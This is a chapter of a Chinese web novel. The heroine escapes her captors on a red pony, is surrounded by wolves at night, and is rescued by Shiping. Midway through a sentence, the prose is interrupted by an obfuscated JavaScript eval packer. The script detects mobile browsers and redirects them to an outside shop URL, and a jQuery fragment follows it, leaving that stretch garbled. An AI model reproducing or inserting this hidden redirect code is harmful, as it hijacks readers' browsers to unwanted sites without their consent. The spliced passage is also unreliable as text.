109.第 109 章

作品:《双龙破城记

    教授语录:万物皆有灵。


    陆无恙是被砸醒的。


    砸醒她的居然是个拨浪鼓。


    她拾起凶器小鼓,正打算转动敲响它,马车陡然一个猛刹,她一个不稳,差点被甩了出去。


    这时她才发现自己身处的马车里居然塞满了玩具内。


    她本以为是货物,可这玩具居然没有重样的,有笑呵呵的彩色泥人,有皮料做的小牛小羊,有琉璃做的棋子,有五色风车,有燕子风筝,总之应有尽有,色彩斑斓。


    这是怎样的人家?竟如此宠爱孩子?陆无恙实名羡慕。


    “快,快,停下。”马车外有人喊。


    陆无恙本想掀帘子看看的,发现这车居然被玩具塞满了,她根本打不开窗户。


    那人喘着粗气追上前,拍着马车对赶车人道:


    “别送了,别送了。”


    “怎么了,怎么说不送就不送了。去给东家贺喜,空着手去吗?”


    那个人似很久才匀过气来,缓缓道:“送,送。”


    他这两个字一出,连陆无恙都听不明白了。


    怎么又送了。


    直到许久后,那人气喘了过来,才缓缓道:“听说东家刚生的孩子身体不好,说给几个大夫看了,都说是活不长,下不了地的命。我看你这一车东西得挑挑了。给孩子选点文静玩意。对了,再加上点珍稀药材,别搞得我们不懂事。”


    他一说完,陆无恙怀里抱着皮质的小羊连连叹气。


    生了个这么富贵的人家,怎么没命享呢。


    她这会还在感叹别人的命数,却不知自己的命数已经岌岌可危了。


    “哦,对了,车里还有一人呢,不知有没有醒。”车夫终于想起了陆无恙。


    一听这话,陆无恙立刻抛弃小羊,乖乖躺倒。


    见没推醒她,车夫有些生气,


    “那掌柜到底给她下了多少药,怎么到现在还没醒?”


    陆无恙不傻,若她醒了,对她的捆绑肯定加倍,哪里会像现在这般自由。


    “别管她了,我的药材带来了,你赶快装车吧。”


    “哦,对了,车上的那些玩意索性带着,要是你去的时候少东家身体好些了,你送个彩头也好。”


    “那我先把她弄出来吧。”


    于是两人一起,一个抬头,一个抬脚,把陆无恙这尊大佛给请了出来。


    可惜这尊大佛的待遇也就配在另一辆马车的车轮附近。


    一开始陆无恙一动也不敢动,直到两人忙的热火朝天她才眨了眨眼睛,松动了筋骨。


    见两人完全沉浸在这个不要,那个要的激烈讨论中,陆无恙索性站起,一步一步向后退。


    “刚刚那个皮质小羊还是带着吧,别的地方没这个,床上的孩子也能玩的。”


    眼见着车夫转身朝陆无恙这个方向来寻了。


    陆无恙立刻站着不动了。


    还好他只在地上寻,看了半天也没发现瘫着的陆无恙站了起来。


    这下陆无恙愈发大胆了,她蹑手蹑脚走向马车后,发现这人还带着一匹装着亮闪闪马鞍的红色小矮马。


    这个也是孩子的玩具,可惜这孩子用不上了。


    灵光一闪的陆无恙,立刻动了心思,她先试探性地扯了扯小马的缰绳,发现小红马先愣愣地看了她一眼。


    这可吓到陆无恙了,她以为它要喊了,想着如何堵马那硕大的嘴呢。


    就在她吓得闭上眼之时,一个毛茸茸的东西凑了过来,蹭她的脸,吓得她一屁股坐到了地上。


    坐到地上的陆无恙屁股生疼,抬眼一看,一双温柔的大眼正吃惊地看着她,似在问:【不喜欢吗?】


    陆无恙从那双眼中慢慢站起,她颤着手摸了摸马的脸,心还没确定的她很快得到热烈的回应,小马立刻抬脸去摩挲她的脸。


    两人像阔别已久的家人般拥抱黏腻在一起。


    黏腻的主仆十分默契地,轻手轻脚远离了满是玩具的马车群。


    直到足够安全了,陆无恙才骑了上去,跑远了。


    骑上这小矮马,陆无恙才发现什么人该骑什么马。


    这马矮,上马容易,颠簸也少。陆无恙本以为它矮会走得慢,却发现他耐力型选手,爬坡也是它的强项。


    十分满意的陆无恙骑着她的小红马行走在天地间。


    就在她惬意地想赋诗一首时,突然咦了一声,随即勒紧了缰绳。


    不对,之前山在右边,左边全是荒漠。现在同样是向东走,山却在左边。


    陆无恙清晰地记得,她父亲曾经说过,边兵就如青岭一样,是替中原守门的。只不过他们是用来抵御外族的,而青岭是用来抵御北下的寒潮的罢了。


    她调转马头面向高耸如云的山峦,这是青岭,难道她现在在青岭以南?


    她再一想那盆鱼,突然一拍大腿,难怪,唉,可惜了!


    大概是一边捶胸顿足后悔,一边想着那鱼鲜嫩的样子,她的肚子本能地咕咕叫了起来。


    她□□的马很快回头看了她一眼,那满眼惊讶和可怜的眼神,让陆无恙低下了头。


    小红马善解人意地转过头去,它突然跺了跺左蹄,抖了抖身子。哐啷啷,一个小包从马鞍下滑落到地。


    陆无恙立刻下马去捡,乖乖,一小包碎银子,还有一两块干肉条,还有一个刻着花纹的木牌子。


    就在陆无恙不解这木牌什么用处之时,她的小马已经跺右脚了,只是这次是啪的一声,一个皮质的水壶掉落。


    陆无恙欣喜若狂,一把拧开,大灌一口,可还没下肚,她便吐了大半口,还呛咳了半天。


    “居然是酒。”陆无恙失望至极,但她还是抿了一小口。


    大约是酒的作用,她突然一拍腿道:“我就说见过这个图案,那个荒漠里的客栈门口就飘着这个图案的旗子。”


    陆无恙决定下次拿这个木牌试试,她像得了宝贝似的把木牌贴身收了起来。


    有了这些,陆无恙一路算是走得顺当了些,可小红马毕竟走得慢,直到走到天黑都没见到人烟。


    看着越来越暗的前路,陆无恙突然觉得有点冷。她缩了缩身子,抬头之际,灰暗天际里突然亮起一点星光。它如一盏特意为她亮起的指路明灯,让她的心一下就暖了起来。


    “这马,你哪里找的,要不是你在我旁边,我都以为这马是你变的。”了尘子叹道。


    释平耸了耸肩膀,“这是她选的,我只是在她选好后,用马语告诉马,要听姑娘的话。它当时一听姑娘两字,眼睛立刻亮了一下。”


    了尘子有些无语,“那物资定是你准备的。”


    释平耸肩摆了摆手。


    天降好运的陆无恙就这么啃着肉条,喝着酒,烤着火歇息了。小红马还十分贴心,站在风口上,替她挡着风。


    过得稍稍惬意些的陆无恙总觉得有人在窥伺她,可看了半天也没寻到那双眼睛。一阵凉风突然窜入她后脖颈,让她整个人一哆嗦。


    这时帮她挡风的小红马突然嘶鸣了一声,陆无恙以为他也冷到了,上前安抚它。可它就是不停地摇头,甚至陆无恙靠近时它还不停地抬腿,让陆无恙无从下手。


    这时她突然看见了,那双眼睛就在马的后面,草丛里。


    冰冷而凶狠


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17176261|167342||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,可能怕吓着猎物,它很快闭上双眼。


    它又消失了,仿佛从没来过这个世界。


    陆无恙终于明白这里为什么没有人烟了,原来他们才是这里的主人。


    她跨过火焰,立刻上马,甩起马鞭就走。


    可惜还是晚了一步。


    小红马已经僵住了,他们眼前,那片荒滩上陡然亮起了无数双眼睛,如茫茫星海印在了大地。


    自知被猎物发现了,靠得最近的一只头狼索性不装了,它一步一步走近,陆无恙身后的火焰把它着了个通透。


    它棕灰色的皮毛,身子有大半个小红马那么大,长长的尖嘴下露出白森森的獠牙。


    它神色轻蔑地扫了陆无恙一眼,随即长啸了一声。


    这是军号,很快它的大军传来阵阵呼应。


    他们低沉而有力的呼应如一阵冷风朝陆无恙劈头盖脸吹来。


    陆无恙终于拔出了藏在靴子里的刀挡在胸前,可那刀太短,她的手还是忍不住颤抖了起来。


    突然一只黑色的小狼崽冲了上来,它一把咬住了小红马的腿。


    小红马急了,急忙抬起另外几条腿,但那黑狼崽死死地咬着,就是不肯松嘴。


    这时陆无恙急了,她一手拽着马鞍,探出上半身用另一只手的刀去刺。


    那黑狼见寒光一闪本能地一松嘴,可它下一秒就想笑了。


    因为这个女孩明显学艺不精,她错误地以为马鞍是固定在马上的,可哪里知道它无法承受女孩那突然下探的力量,立刻撂了挑子,顺势滑了下来。


    所以陆无恙这一探算是彻底把自己给探下马了。


    她本以为自己要摔个马趴,然后小黑顺势冲上,可突然有人扶住了她,甚至推了她一把。


    有了这一推,她又稳稳地坐回了马上,只见那人用脚一踢,那小黑狼便被他踢飞了出去。


    这一下陆无恙有时间好好看看来人了,只见他披着一头长发,身形颀长,光看这背影她就认出了他。


    “你是荷叶镇救我的那人吗?”


    释平头都没回,“还不快走,真等着它们把你吃了吗?”


    陆无恙一想他那次那么厉害,这次定也能应付,也就没有犹豫,立刻拽紧了缰绳,给马掉了个头。


    可她走了两步,总觉得有些不对,便掉头去看。


    这一看,她可大跌眼镜了。


    面对这群狼,释平的确是秀才遇见兵。他的那些鬼神幻术能让人产生极大的畏惧。但对于这群狼,简直是对牛弹琴。


    头狼很快看出释平是光说不练假把式,它身先士卒,第一个冲向释平。


    幸亏释平眼尖,手臂一抬,但那头狼只是咬住了他的袖子。


    袖子上挂了这个畜生让他急躁,于是他甩了甩袖子,希望能甩开它。


    可头狼咬住的东西岂是能轻易放手的,它见释平不过是甩袖子,没有下一步动作,更没有武器。


    它看懂了 ,瞳孔缩了缩,乖巧地松开嘴。


    下地后的它看着眼前俊美的释平,嘴角裂开笑了笑,随即藏在后面的后脚踩了踩地,


    它在给自己充电,它需要它的血液迅速充盈它后腿的肌肉,让它们充满力量。


    是的,它要纵身一跃,一口咬断这个长发男子的喉咙。


    然后狂饮他的鲜血,吞噬他。


    残忍的杀戮不需要号角,只需要敌人的一次大意。


    一声马鸣让释平陡然转身,就在那时,头狼抓住时机,起身一跃朝释平的咽喉扑来。


    此时的释平看不见头狼的扑咬,他只看见一个女孩骑着马,跨过火焰,向他而来。